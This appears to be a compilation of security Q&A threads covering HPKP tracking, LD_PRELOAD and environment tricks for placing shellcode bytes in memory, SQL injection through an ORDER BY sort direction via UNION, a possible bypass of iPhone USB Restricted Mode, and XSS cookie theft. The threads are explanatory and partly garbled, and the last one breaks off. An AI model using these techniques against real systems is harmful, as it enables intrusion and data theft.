A server could send an extra backup key that is never intended to be used as a public key, but instead is a unique identifier for that visitor. The browser will happily store it, and persist it even if browsing history and cookies are flushed. If the key could somehow be recovered from the client (without having to try all possible keys until you find one that validates) it could be used for tracking users.

So my questions are:

Can this be done?
Is it in fact used in the wild?
Is there any way to protect yourself other than turning off HPKP completely?

HPKP could be used for tracking in big scale since it has report URIs:

Send HPKP header with includeSubdomains set and a report-uri with unique random generated parameter.
Embed a hidden image from a subdomain that uses a invalid/not pinned certificate.
Browser calls report-uri with unique parameter.

Only issue I see is a new report-uri with new UID being issued each time the user visits the site that sets the UID.

Also see Privacy Considerations section of the HPKP RFC.


Controlling uninitialized memory with LD_PRELOAD I was trying to control uninitialized memory as given in this blog post.
It says uninitialized memory could be initialized using LD_PRELOAD.

example:

$ export LD_PRELOAD=`perl -e 'print "A"x10000'`

and then running a test program.

  LD_PRELOAD are actually loaded at runtime, ld.so copies the name of each library onto the stack prior to executing the program, and doesn’t clean up after itself. By specifying a very long LD_PRELOAD variable and executing a binary, a portion of the stack will be overwritten with part of the LD_PRELOAD variable during linking, and it will stay that way once execution of the program begins, even on setuid binaries, where the library itself is not loaded.

I can get the results in 3.0.0-12-generic-based Ubuntu but not in 4.6.0-kali1-686-pae.

Are there any security implementations newly introduced?

Unobserved results 4.6.0-kali1-686-pae.

Please tell if more info is required for this question ? :-)

That's not how LD_PRELOAD is meant to work*.  And I'm really struggling to find how it could ever worked.  When I perform the following on the latest linux kernel (4.7), latest glibc (2.27) and latest ld (binutils 2.27) I get the following:

$ LD_PRELOAD='0000000' less pp.c
ERROR: ld.so: object '0000000' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.

[4]+  Stopped                 LD_PRELOAD='0000000' less pp.c

So yeah, ld simply complains that the object (here 0x00000) is not an ELF.   This comes from elf/rtld.c in glibc, here:

static unsigned int
do_preload (const char *fname, struct link_map *main_map, const char *where)
{
  const char *objname;
  const char *err_str = NULL;
  struct map_args args;
  bool malloced;

  args.str = fname;
  args.loader = main_map;
  args.mode = __RTLD_SECURE;

  unsigned int old_nloaded = GL(dl_ns)[LM_ID_BASE]._ns_nloaded;

  (void) _dl_catch_error (&objname, &err_str, &malloced, map_doit, &args);
  if (__glibc_unlikely (err_str != NULL))
    {
      _dl_error_printf ("\
ERROR: ld.so: object '%s' from %s cannot be preloaded (%s): ignored.\n",
            fname, where, err_str);
      /* No need to call free, this is still before
     the libc's malloc is used.  */
    }
  else if (GL(dl_ns)[LM_ID_BASE]._ns_nloaded != old_nloaded)
    /* It is no duplicate.  */
    return 1;

  /* Nothing loaded.  */
  return 0;
}

do_preload is called for every object in LD_PRELOAD (separated either by space or colon).  Now ubuntu 3.0.0 was released around July 2011, at that time the latest glibc was 2.15;  I looked at do_preload in glibc-2.15 and found the exact same code.

Now, maybe the ubuntu guys used an old glibc, say glibc-2.11 (November 2009, and that's pushing it far).  If you look at that code, you see that do_preload is still the same.  That code has been added in 1998 and never changed.

The only thing I can think of are features added by ubuntu at the time (but that's pretty dubious).  It should have nothing to do with the linux kernel since it is the linker's work to add the correct shared objects (Just in case, I went to one of those code indexers for the kernel code and checked all 3.x and 4.x kernels.  And, as expected, LD_PRELOAD is not used anywhere).

The only thing I can do is to argue about how LD_PRELOAD should be used.  And how to achieve a similar effect taking into consideration the above excerpt from glibc.  The first option to get that shellcode into memory uses LD_PRELOAD properly (but that is very different from what they do in that blog post), the second option uses the environment (which I believe is what they are seeing in the blog post and misunderstanding it as a loaded shared object).

Option 1: use a real shared object in LD_PRELOAD

The current ld will check whether the object pointed by LD_PRELOAD is an ELF, i.e. that it starts with \x7fELF.  A better way to achieve the loading of specific code into a program's memory is to create an ELF yourself and then point to it with LD_PRELOAD:

$ perl -e 'print "int yay(void){char *x=\"" . "A"x10000 . "\"; return 0;}\n"' > pp.c
$ gcc -o pp.so -fPIC -shared pp.c
$ LD_PRELOAD=./pp.so less pp.c
# And Ctrl+Z to send SIGTSTP
$ jobs -l
[1]+ 15476 Stopped                 LD_PRELOAD=./pp.so less pp.c
$ cat /proc/15476/maps
00400000-00422000 r-xp 00000000 08:03 3811056                            /usr/bin/less
00621000-00622000 r--p 00021000 08:03 3811056                            /usr/bin/less
00622000-00626000 rw-p 00022000 08:03 3811056                            /usr/bin/less
00626000-0062a000 rw-p 00000000 00:00 0
01336000-01357000 rw-p 00000000 00:00 0                                  [heap]
7f0328272000-7f0328525000 r--p 00000000 08:03 3845397                    /usr/lib/locale/locale-archive
7f0328525000-7f032853d000 r-xp 00000000 08:03 3804385                    /usr/lib/libpthread-2.24.so
7f032853d000-7f032873c000 ---p 00018000 08:03 3804385                    /usr/lib/libpthread-2.24.so
7f032873c000-7f032873d000 r--p 00017000 08:03 3804385                    /usr/lib/libpthread-2.24.so
7f032873d000-7f032873e000 rw-p 00018000 08:03 3804385                    /usr/lib/libpthread-2.24.so
7f032873e000-7f0328742000 rw-p 00000000 00:00 0
7f0328742000-7f03288d7000 r-xp 00000000 08:03 3804421                    /usr/lib/libc-2.24.so
7f03288d7000-7f0328ad6000 ---p 00195000 08:03 3804421                    /usr/lib/libc-2.24.so
7f0328ad6000-7f0328ada000 r--p 00194000 08:03 3804421                    /usr/lib/libc-2.24.so
7f0328ada000-7f0328adc000 rw-p 00198000 08:03 3804421                    /usr/lib/libc-2.24.so
7f0328adc000-7f0328ae0000 rw-p 00000000 00:00 0
7f0328ae0000-7f0328b52000 r-xp 00000000 08:03 3811050                    /usr/lib/libpcre.so.1.2.7
7f0328b52000-7f0328d51000 ---p 00072000 08:03 3811050                    /usr/lib/libpcre.so.1.2.7
7f0328d51000-7f0328d52000 r--p 00071000 08:03 3811050                    /usr/lib/libpcre.so.1.2.7
7f0328d52000-7f0328d53000 rw-p 00072000 08:03 3811050                    /usr/lib/libpcre.so.1.2.7
7f0328d53000-7f0328dba000 r-xp 00000000 08:03 3804648                    /usr/lib/libncursesw.so.6.0
7f0328dba000-7f0328fba000 ---p 00067000 08:03 3804648                    /usr/lib/libncursesw.so.6.0
7f0328fba000-7f0328fbe000 r--p 00067000 08:03 3804648                    /usr/lib/libncursesw.so.6.0
7f0328fbe000-7f0328fc0000 rw-p 0006b000 08:03 3804648                    /usr/lib/libncursesw.so.6.0
7f0328fc0000-7f0328fc3000 r-xp 00000000 08:05 3801272                    /home/grochmal/tmp/pp.so
7f0328fc3000-7f03291c2000 ---p 00003000 08:05 3801272                    /home/grochmal/tmp/pp.so
7f03291c2000-7f03291c3000 r--p 00002000 08:05 3801272                    /home/grochmal/tmp/pp.so
7f03291c3000-7f03291c4000 rw-p 00003000 08:05 3801272                    /home/grochmal/tmp/pp.so
7f03291c4000-7f03291e7000 r-xp 00000000 08:03 3804420                    /usr/lib/ld-2.24.so
7f03293b0000-7f03293b2000 rw-p 00000000 00:00 0
7f03293e4000-7f03293e6000 rw-p 00000000 00:00 0
7f03293e6000-7f03293e7000 r--p 00022000 08:03 3804420                    /usr/lib/ld-2.24.so
7f03293e7000-7f03293e8000 rw-p 00023000 08:03 3804420                    /usr/lib/ld-2.24.so
7f03293e8000-7f03293e9000 rw-p 00000000 00:00 0
7fff77a97000-7fff77ab8000 rw-p 00000000 00:00 0                          [stack]
7fff77bb5000-7fff77bb7000 r--p 00000000 00:00 0                          [vvar]
7fff77bb7000-7fff77bb9000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

The important bit that /proc/<PID>/maps tells us is the memory location of the object, the "AAAAA...AAAA" string should be somewhere in there:

7f0328fc0000-7f0328fc3000 r-xp 00000000 08:05 3801272                    /home/grochmal/tmp/pp.so
7f0328fc3000-7f03291c2000 ---p 00003000 08:05 3801272                    /home/grochmal/tmp/pp.so
7f03291c2000-7f03291c3000 r--p 00002000 08:05 3801272                    /home/grochmal/tmp/pp.so
7f03291c3000-7f03291c4000 rw-p 00003000 08:05 3801272                    /home/grochmal/tmp/pp.so

We can now use GDB to check it (note that I'm again using the PID I got from jobs -l):

# gdb -q -p 15476
...
warning: Could not load shared library symbols for ./pp.so
...

That line appears if GDB is running in a different working directory than the process was started.  But that's fine, we are after memory not symbols.

(gdb) p 0x7f03291c4000 - 0x7f0328fc0000
$1 = 2113536
(gdb) x/2113536x 0x7f0328fc0000

(I took the numbers from the maps and used GDB as a calculator)

That will print a lot of stuff (all memory of the shared object we created, including bits added by ELF and PIC), but will show all the "A"s we are after:

...
0x7f0328fc2ae0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2af0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2b00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2b10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2b20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2b30: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2b40: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2b50: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2b60: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2b70: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2b80: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2b90: 0x41414141  0x41414141  0x41414141  0x41414141
0x7f0328fc2ba0: 0x41414141  0x41414141  0x41414141  0x41414141
...

Option 2: use the environment

Now, this does not need the environment variable to be called LD_PRELOAD.  The variable can be anything.  Let's start by adding our shellcode ("AAAA...") to LD_PRELOAD as they did in the blog post:

$ LD_PRELOAD=`perl -e 'print "A"x30'` less pp.c
ERROR: ld.so: object 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.

[1]+  Stopped                 LD_PRELOAD=`perl -e 'print "A"x30'` less pp.c
$ jobs -l
[1]+  1566 Stopped                 LD_PRELOAD=`perl -e 'print "A"x30'` less pp.c

We got the warning alright, we will ignore it and attach GDB:

# gdb -q -p 1566
(gdb) info variable environ
All variables matching regular expression "environ":

Non-debugging symbols:
0x00007fb7bd5babd8  last_environ
0x00007fb7bd5bbf18  __environ
0x00007fb7bd5bbf18  _environ
0x00007fb7bd5bbf18  environ
0x00007fb7bdcc30c0  __environ
0x00007fb7bdcc30c0  _environ
0x00007fb7bdcc30c0  environ

And search for the environ variable (man 3 environ).  We have two of them, that's a peculiarity of kernel 4.  environ is a char** so lets look at finding those strings:

(gdb) x/3gx 0x00007fb7bd5bbf18
0x7fb7bd5bbf18 <environ>:   0x00007ffd1c3884a0  0x0000000000000000
0x7fb7bd5bbf28 <buflen.8581>:   0x0000000000000000
(gdb) x/3gx 0x00007fb7bdcc30c0
0x7fb7bdcc30c0 <environ>:   0x00007ffd1c3884a0  0x0000000000000000
0x7fb7bdcc30d0: 0x0000000000000000

Both environ symbols are pointing to the same place in memory (namely 0x00007ffd1c3884a0).  Let's see what is in there:

(gdb) x/20gx 0x00007ffd1c3884a0
0x7ffd1c3884a0: 0x00007ffd1c388ba3  0x00007ffd1c388bcd
0x7ffd1c3884b0: 0x00007ffd1c388bd8  0x00007ffd1c388bea
0x7ffd1c3884c0: 0x00007ffd1c388c05  0x00007ffd1c388c15
0x7ffd1c3884d0: 0x00007ffd1c388c27  0x00007ffd1c388c4c
0x7ffd1c3884e0: 0x00007ffd1c388c6c  0x00007ffd1c388c8b
0x7ffd1c3884f0: 0x00007ffd1c388c99  0x00007ffd1c388cd1
0x7ffd1c388500: 0x00007ffd1c388cfa  0x00007ffd1c388d49
0x7ffd1c388510: 0x00007ffd1c388d67  0x00007ffd1c388e01
0x7ffd1c388520: 0x00007ffd1c388e10  0x00007ffd1c388e27
0x7ffd1c388530: 0x00007ffd1c388e38  0x00007ffd1c388ebd

I bet those are strings, let's see:

(gdb) x/s 0x00007ffd1c388ba3
0x7ffd1c388ba3: "LD_PRELOAD=", 'A' <repeats 30 times>
(gdb) x/s 0x00007ffd1c388bcd
0x7ffd1c388bcd: "XDG_VTNR=2"
(gdb) x/s 0x00007ffd1c388bd8
0x7ffd1c388bd8: "XDG_SESSION_ID=c1"

Correct, strings.  And we also found our shellcode.  We only need to print it in a different way to get the 0x41s:

(gdb) x/20wx 0x00007ffd1c388ba3
0x7ffd1c388ba3: 0x505f444c  0x4f4c4552  0x413d4441  0x41414141
0x7ffd1c388bb3: 0x41414141  0x41414141  0x41414141  0x41414141
0x7ffd1c388bc3: 0x41414141  0x41414141  0x44580041  0x54565f47
0x7ffd1c388bd3: 0x323d524e  0x47445800  0x5345535f  0x4e4f4953
0x7ffd1c388be3: 0x3d44495f  0x54003163  0x3d4d5245  0x74767872

Important note: This has nothing to do with LD_PRELOAD!  The program start as:

$ LD_PRELOAD=`perl -e 'print "A"x30'` less pp.c

Could be pretty much done with:

$ YAY=`perl -e 'print "A"x30'` less pp.c

And we would achieve the same result.  But I strongly believe this is what they're actually seeing in that blog post.

* I do not have anything running Ubuntu 3.0.0-12-generic, but I suppose that its ld was more permissive and allowed non ELF objects to be loaded.  I'm confident that my Arch 4.7 simply rejects the object in LD_PRELOAD if it is not a proper ELF and has no PIC indicators.


Is there any security advantage to hiding URL parameters? I am building a web app that needs to be secure. Is there any security advantage to hiding path parameters? I am using Angular (I don't know if this is important).

What I mean by hiding path parameters is instead of having a URL that reads

https//yourApp/user/<user_id here>

to have one that reads

https//yourApp/user

but behind the scenes you are processing the request using the user id.

Is there any security advantage of hiding route parameters

Yes, if they contain anything potentially sensitive.

If you pass information as URL params, either in the query string (?key=value) or as part of the path (/someValue) then these are cached in various places in the browser and host machine.

Most restful services expect you to pass some form of identifier in the URL however you must consider the impact should that identifier be exposed.

For example imagine you have an endpoint that accepts username as a url param (domain.com/users/username) and your username can also be an email address. You essentially expose the users email address for that service to place you do not control (browser history etc).

You need to make the call on how sensitive each data point is and decide if you are happy exposing it (weight up risk).

General rule for me is, if that information can be used to leverage anything over the user or as a stepping stone to expose further info, don't expose it in the URL.


Why are Facebook, etc. considered as typical authorization servers in OpenId? The OAuth2 specification says:

  The interaction between the authorization server and resource server
  is beyond the scope of this specification.  The authorization server
  may be the same server as the resource server or a separate entity.

I feel that this means that the authorization server is like a trusted big brother here, which can easily, but yet maliciously, gain access to data that should normally be restricted to legitimate users. If that is the case, why are Facebook, etc. considered as typical authorization servers? Why should they be so much trusted? I might have missed something basic here. So, I display my ignorance in the hope of becoming less ignorant.

Why should [Facebook and other large companies] get the status of trusted parties?

Anybody can be a trusted party simply by trusting them to provide account authorization. For these large companies, they're common authorization servers because it's simple and generally the world is trusting them to maintain security over accounts. An employee or attacker that steps out of bounds with access to account controls at one of those companies can sign in as anybody.

Together, Facebook and Google have some of the largest collections of user accounts in the world with strong security teams. Most of your users will have an account with at least one of these companies. If you want to simplify the overhead of setting up an authentication system and also make it easy for users to use your service without having to go through a registration flow, that's most of it.


Transferred domain to new registrar, ordered "id protection", but my info is available in whois Situation as per the title. How should I approach this to resolve it, am I wrong in thinking the ID protection should make my info not be visible? It's a .net domain.

Edit - the visible details are only known to the new registrar, not the original one, as it was registered under a different address and not kept up to date. So that record is definitely not a "hangover" from the original registration.

Edit2: contacted the new registrar and it seems that it was a mistake on their side, which they say they have now rectified (waiting on whois servers to update). I just hope no one goes too closely through the "related records" and that I got it changed quickly enough!

You haven't said which service you have registered the domain through so it is difficult to say what their "ID Protection" service is. Assuming that it is the provision of a private registration - then the company you registered through should be the registered owner on the WHOIS directory. As your name is appearing on the WHOIS lookup, it would appear that the registry has made a mistake in their process and not denoted that a private registration has taken place.

This is opinion, but I would contact their customer service and highlight the issue through their channels.


Some questions about crypto How to determine what type of encoding/encryption has been used?

This link discusses in the first answer a "128 bit" value. How do you know that it is 128-bit and what is a 128bit value?

If I md5sum a string on Linux and then do it on the internet, I get different results. Why is this? Same with any other hash algorithm.

In computers, we tend to talk in three bases, binary (base 2), decimal (base 10 - the one you are familiar with), and hexadecimal (base 16).  Computers usually encode everything in binary digits

A bit is b-inary dig-it - a digit in base 2 that is either a 0 or 1.  E.g., you could represent the decimal number 42 as 6 binary digits: 101010bin as 42 = 32 + 8 + 2 = 25 + 2 3 + 21.

Similarly every hexadecimal digit is a number between 0 and 24-1= 15 = fhex = 1111binary.  The 16 hex digits are 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f.  (Sometimes the last 6 characters are written in uppercase -- its the same letters).

So if you see a hash that looks like  b1946ac92492d2347c6235b4d2611184 you can immediately notice that there are 32 hexadecimal characters.  Thus as every hexadecimal character is 4 bits, it is 32*4 = 128 bits.

While we are at it, should mention that a byte is a convenient unit -- most plaintext characters in a text file are represented in one byte of data; e.g., a 100 kilobyte plaintext file will have about 100,000 characters in it.  A byte is 8 bits - in binary a number 0 and 255 = 11111111binary = ffhex) - two hexadecimal characters.


Does it make sense to have the application block users by IP as well as the firewalls? I am planning to create a system, but I still have some questions about security. I would like to know if it makes sense to block unauthorized users from accessing the system, through the ip, using a PHP script and also firewall rules by AWS EC2, would this be good practice to prevent unauthorized users from accessing the system?
My biggest fear is to compromise the system
PHP sample code
<?php

class RemoteAddress
{
    /**
     * List of trusted IP addresses
     *
     * @var array
     */
    protected $trustedIPs = array('127.0.0.1', '192.168.0.101', '192.168.0.102', '192.168.0.103');

    /**
     * Returns client IP address
     */
    public function isDefinedIpAddress()
    {
        $ip = $_SERVER['REMOTE_ADDR'];
        if(in_array($ip, $this->trustedIPs)){
            $this->returnPage();
        } else {
            $this->returnErrorPage();
        }
    }

    /**
     * Redirects the user to the success page
     * The user will be able to access the website
     */
    private function returnPage()
    {
        header('Location: index.php');
        exit();
    }

    /**
     * Redirects the user to the error page
     * The user will not be able to access the website
     */
    private function returnErrorPage()
    {
        header('Location: 403.html'); //We can display an forbidden message maybe...
        exit();
    }
}

$object = new RemoteAddress();
$object->isDefinedIpAddress();

PHP offers great opportunities to mix configuration data, business layer code, HTML and javascript in the same script. Yet IMHO it is not a good practice, because it tends to make writing and executing tests harder.
Here the list of allowed IP addresses is a configuration data. Having to search such data through the code if you later install the application on a different system with different allowed address is not maintainer friendly.
For the point whether IP addresses control should reside inside or outside the application, it is largely a general design decision. Either you specify that the app will not worry for IP security, and it should be protected with a firewall, or you want the app to have as few external configuration as possible and you keep it inside. The first way better respects the single concern principle, but requires a proficient firewall admin. The second way is probably less versatile, but the application will run anywhere with a minimal external configuration. Different use cases and a different public target.


ORDER BY sort direction is exploitable in SQL Injection? I am testing an internal application and come across a page where if I am able to make the application display a SQL error because it does not recognize the payload for ORDER BY sort direction. The query is:
select xxx
from something
where xxx xxx xxx
ORDER BY something
ASC LIMIT.....

I am able to control the ASC part and the application throws out SQL error and display the Select query that gets broken whenever I send anything other than ASC or DESC. The column name used with ORDER BY is not injectable. Is this injection exploitable in this case? I read from couple of places that if we can control the column used by ORDER BY, then it is exploitable, but if we can control only the sort direction parameter, it is not an exploitable injection.
There are related questions here and here, but they don't directly say whether the sort direction parameters are exploitable if user can control it.
The database is MySQL.

If you control the sort direction, then this might be exploitable by replacing it with a desc union select <other query>. I have not tried it though.
See this post.
You will have to specify the exact number of columns of the original query, which you can find out by looking at the SQL error. In case that you don't have that information, you can find out by trial and error. Types have to match too.
EDIT: As of MySQL version 8, it is very unlikely that the approach noted above will work, because the individual select queries have to be put between parentheses. See (https://dev.mysql.com/doc/refman/8.0/en/union.html ):
ORDER BY and LIMIT in Unions

To apply an ORDER BY or LIMIT clause to an individual SELECT, parenthesize the SELECT and place the clause inside the parentheses:

(SELECT a FROM t1 WHERE a=10 AND B=1 ORDER BY a LIMIT 10)
UNION
(SELECT a FROM t2 WHERE a=11 AND B=2 ORDER BY a LIMIT 10);

Use of ORDER BY for individual SELECT statements implies nothing about the order in which the rows appear in the final result because UNION by default produces an unordered set of rows. Therefore, ORDER BY in this context typically is used in conjunction with LIMIT, to determine the subset of the selected rows to retrieve for the SELECT...


Safe to drop email verification when using Facebook login If a user registers an account on my Website with Facebook authentication, can I safely skip the "verification email" that is usually sent to users who sign up without Facebook (that is, from a regular "personal details + email + password" registration form)?

Or is there any purpose to sending this verification email (e.g. to confirm the user's email address)?

The "verification email" serves three purposes (at least):

To deter evil people who automatically create thousands of users, for nefarious purposes (e.g. spamming). With the verification of emails, then such people must at least provide working email addresses, which makes them more traceable than when they do not. Also, the least competent of such wannabe attackers may find it difficult to automatically create thousands of working email addresses.
To record on your side an email address which is, more or less, working, in case you need to contact the users again.
To protect password resets. When a user registers with a given email address, then control of that address will serve as the backup authentication for that user. "Control" here means "ability to read emails sent to that address".

If you use Facebook authentication, then you surrender all of this to Facebook, so it makes sense to simply forget all about it. The lack of independent purpose for user's email address confirmation highlights the fact that you really are surrendering your server's access control to Facebook.

(Of course, confirming the user's email address is still required or at least recommended if you intend to spam him send him some sort of newsletter.)


Browsers silently adding trusted root certificates in Windows When accessing https://internetbanking.caixa.gov.br (site of a well known bank in Brazil), the server returns a certificate signed by "Autoridade Certificadora Raiz Brasileira" (Brazilian Root Certification Authority). This certificate is not in Window's list of trusted certificates before the access, but it appears there after the access.

Here's the exact steps (tested in Windows XP and 8 with IExplorer and Google Chrome):

Open Control Panel -> Internet Options -> Content -> Certificates
Verify there is no "Autoridade Certificadora Raiz Brasileira" in the list of trusted root or intermediate cerficiates.
Close the open windows
Access https://internetbanking.caixa.gov.br
Verify no warnings, alerts or confirmations appeared (with green padlock nonetheless).
Open Control Panel -> Internet Options -> Content -> Certificates again
Verify the "Autoridade Certificadora Raiz Brasileira" certificate appeared in the Trusted Root Certification Authorities tab.

How did that happen? Is there a mechanism that allows a user application to force the OS to trust new root certificates without alerts or confirmations?

In the default configuration for Windows XP with Service Pack 2 (SP2),
  if a user removes one of the trusted root certificates, and the
  certifier who issued that root certificate is trusted by Microsoft,
  Windows will silently add the root certificate back into the user's
  store and use the original trust settings

I guess if you didn't remove it yourself, you can add to the above, " if a trusted root certificate is missing, Windows XP will silently add it.

via http://www.proper.com/root-cert-problem/


How likely is it to see a commercial IDS/IPS that uses machine learning in the near future that performs better than a normal IDS/IPS? I have to choose a field to study on and I want to know does it worth studying in this field and will the future IDS/IPS systems be using machine-learning/deep-learning or at least how likely is it?

i heard that some companies showed their IDS/IPS systems that were using machine learning in the recent defcon but I don't know how successful were they compared to normal IPS/IDS (by normal i mean not using machine learning or deep learning for detecting intrusion) systems and how likely is it to see a commercial IPS/IDS in the near future that performs better than a normal IDS/IPS?

do you guys think its worth to be studying on this field to develop better IDS/IPS systems?

Also what about just malware detection using machine learning?

I think nowadays a lot of companies needs to add the words "Machine Learning" and "AI" to their products basically. But they still using the same technology as before with these new features. When a vendor shows me how cool is their solution I always ask about the detection numbers (false positives, false negatives, data sets, reaction time when a new malware is active and so on), basically I don't care of what they use behind the curtains but I care about the other metrics that are the ones that may impact me.


how does IE or chrome verifies certificate? If the HTTPS webserver uses self signed certificate, the web browser
warns the user as follow.

http://www.sslshopper.com/assets/images/iis7/iis7-self-signed-certificate-8-certificate-not-trusted.png

I am curious how can browser tell if the certificate is self signed or not(in detail).
is there any technically detailed document which describes this process?

thank you in advance.

You can find the complete detail in  RFC5246.

Put very simple: Every certificate should be signed by a third party. Each third party's certificates are included within your browser. The browser can check if the certificate is signed by a third party it trusts, if it's signed by the same server of which you are demanding to see the identity, then it's considered self signed.


How much does TLS version matter when using the same cipher suite? I recently observed that Exchange Online has switched to a lower version of TLS protocol.  Emails from Exchange Online to Gmail and other Office 365 tenants are now sent over TLS 1.0 instead of TLS 1.2, albeit with the same cipher suites (“ECDHE-RSA-AES128-SHA” and “TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P384”, respectively).

I’m not an expert in cryptography.  I’d like to know how much this change matters in terms of security, both theoretically and practically.  Is there a reason for me to worry about it?

[Update Updates are now being deployed to fix this issue.  Still I’d like to get an answer to my question.]

Protocol versions matter, even given the same cipher suite, because the suite specifies the primitives but not necessarily how they are to be used. For example, the critical difference between SSLv3 and TLS1.0 that makes the former vulnerable to POODLE is that TLS mandates validation of the padding, and SSLv3 does not. TLS 1.1 requires an explicit initialization vector (rather than the implicit IV used in TLS1.0 block ciphers), and changes how padding errors are handled; neither of these things are particular to any given ciphers.

Of course, just because a protocol requires something doesn't mean the implementer will do it correctly. Some network gear (like load balancers) was handling TLS1.0 connections but failing to validate the padding (in violation of the TLS spec, but not the SSL spec), making them also vulnerable to POODLE. Similarly, one of the things that made Heartbleed so bad was that OpenSSL allowed heartbeat messages to be sent before the handshake was completed, allowing an untrusted attacker to man-in-the-middle a connection and attack both sides during the handshake. (Of course, the buffer over-read at the core of Heartbleed was also an implementation failure, but the standard probably doesn't explicitly called out that you're supposed to only return the data that the other side sent you instead of arbitrary memory. It does specify when a heartbeat message is legal, though.)

Protocol versions can also add support for cipher suites. TLS 1.2 added support for authenticated encryption ciphers, enabling the addition of suites based on AES-GCM and AES-CCM. However, even if you're using the same cipher suites, you're more at risk when the protocol is older.

For more detail, you might want to ask on the Crypto SE. SSL/TLS is complicated and you may find people over there who can explain the relevant pieces more clearly.


Reusing an “anonymous” user entity across orders I wonder if it would be a good idea if a shopping system would reuse existing user accounts across multiple orders. For example:

A person buys a concert ticket in an online shop. The ticket is mailed to them.
The person does not create a user account. Instead, an anonymous user entity is created and associated with the order.
A few weeks later, the person buys another ticket using the same e-mail address.
The system recognises the person by the e-mail adress and links the new order with the existing entity.
If the person has entered a different name etc. the system would also update this information in the existing entity.

Now you might ask: Why would I want to re-use the existing account instead of creating a new one? Because users can decide to “activate” their previously “anonymous” account (by requesting an e-mail with an activation link). It would be nice if they could then see the orders they made before the activation.

Yes, we could auto-activate the account after the first order and send the user their credentials. But they’d delete/forget/ignore the e-mail and would have to go through account recovery during the next checkout process, which would obviously be a horrible conversion breaker.

Therefore I wonder, is reusing the account a good idea from a security standpoint? If not, how could it be implemented otherwise if I want to make history available without hurting the UX too much?

What you are proposing is basically having an account without any authentication. As long as you enter in a persons email, you are using their account.

If just entering an email address allows you to do anything of value (like viewing order history or personal info, placing new orders on the same credit card, change anything about past orders, etc.) you have a huge security problem. Anyone who knows the email of another person can impersonate that person. That is bad. Very bad.

If it does not allow you to do anything of value, the phrase "reusing the same account" becomes utterly meaningless since there isn't really any account to speak of. The only thing that happends is that two orders will have the same email in your database.

Now, if someone were to later create an account with that email (and verifying it in the process) you can not just assume that those orders were placed by the person who created the account. While you can have in your terms of use that the account is personal, an email isn't nececarily that. So you might be in legal trouble if you e.g. want to get the person who created the account to pay for the orders placed before the account was created.

Think about this scenario: Person A order something (potentially embarassing) using the email of person B. Person B later activates an account on that email. The item A ordered is now in the order history of B.


Wireless EAP-TLS implementing on Medical Wireless Device I am new to PKI, digital certificates etc and will be the first time to connect a medical wireless device to a wireless network using EAP-TLS.
I am connecting a medical wireless device to our customer's hospital wireless network with the below set up:

Root CA > Intermediate CA > Intermediate CA > User Certificate

Does the medical device require the entire chain, just the root CA, or just the intermediate chain?

Also, the medical wireless device that I have, have the following fields that needs to be filled out by the hospital's IT:

CA-CERT:
Client Cert:
Private Key:
Password:

I would presume the CA-CERT would contain the hospital's certificate issued to this device (possibly with the entire chain) but I am not really sure what the Client Cert, Private Key and Password will contain?

CA-CERT: I would presume the CA-CERT would contain the hospital's certificate issued to this device (possibly with the entire chain)

No, this is actually the root CA certificate for which the server will send a certificate chain to authenticate to the client. This prevents the client from connecting to a fake access point.

Client Cert: A certificate chain from a root CA the server trusts that shows that the owner of the private key (next) is actually this device.

Private Key: The private key that only this device knows and which identifies the device.

Password: This is a password which protects the private key.

So to clarify:
The server and client both authenticate to each other.

CA-CERT will be used to authenticate the server to the client.

Client Cert, Private Key and Password will be used to authenticate the client to the server.


hardware firewall placement In a home office environment with cable internet, can a hardware firewall be placed in front of/upstream from a cable modem to also protect the modem from tampering by the isp or a hacker?

Cable modems connect via coax cable to the ISP's network. I have not seen a hardware firewall that could connect in such a way. Besides which, the firewall would need to replicate the ISP's settings for the customer's site in order for traffic to be accepted.

In short: no.


How does one protect an iPhone against Grayshift hacking? Grayshift claims that USB restricted mode does not make a difference, so how do people protect against Grayshift?

The problem with Apple's USB Restricted implementation (currently) is that it is triggered by the plugging/unplugging of something into the Lightning port.  So, for example, if you catch a device within the 1 hour window before the mode enables (and locks you out), you can unplug the cable and plug it back in before the end of the countdown happens and you now have a whole other hour to work with. Repeat this for unlimited attempts, just like before the feature was added.  So, the viable workaround would be to just add a function to perform an unplug/plug action every 59 minutes or so, to gain another hour of brute-force attempts.

That is POSSIBLY how Grayshift worked around the problem as it is very easy to implement.

Apple's already aware of this issue and are probably working on changing the behavior to make the timer only reset if the device is unlocked again rather than by unplugging the cable before the countdown has finished.


XSS on infinite-scrolling pages Say I make a social-media website and forget to include the htmlspecialchars() function.
If the website uses infinite scrolling (that will eventually show every post on the website if you scroll down far enough), and somebody exploits the XSS, does everyone visiting the site get the XSS attack?

Let's start first by the three types of XSS
Reflected XSS, where the malicious script comes from the current HTTP request.
Stored XSS, where the malicious script comes from the website's database.
DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.
Cookie Theft
Shopping preferences might not classify as sensitive information about an individual but online shopping carts and banking details are really sensitive data and all of this is also remembered by a site with the help of session cookies. If an attacker manages to get a hold of your session cookies then that person will be able to pose as you and that site and will have access to your banking details and your amazon shopping cart and might order stuff from your amazon account to his/her address spending all your money. This generally happens when the site has a vulnerability and the attacker uses something known as cross-site scripting (XSS) to exploit that vulnerability. This is found mostly in badly-coded websites where the developer forgets to include certain security measures to prevent an attacker from running a cross-site script.
How attacker use XSS to steal cookies?
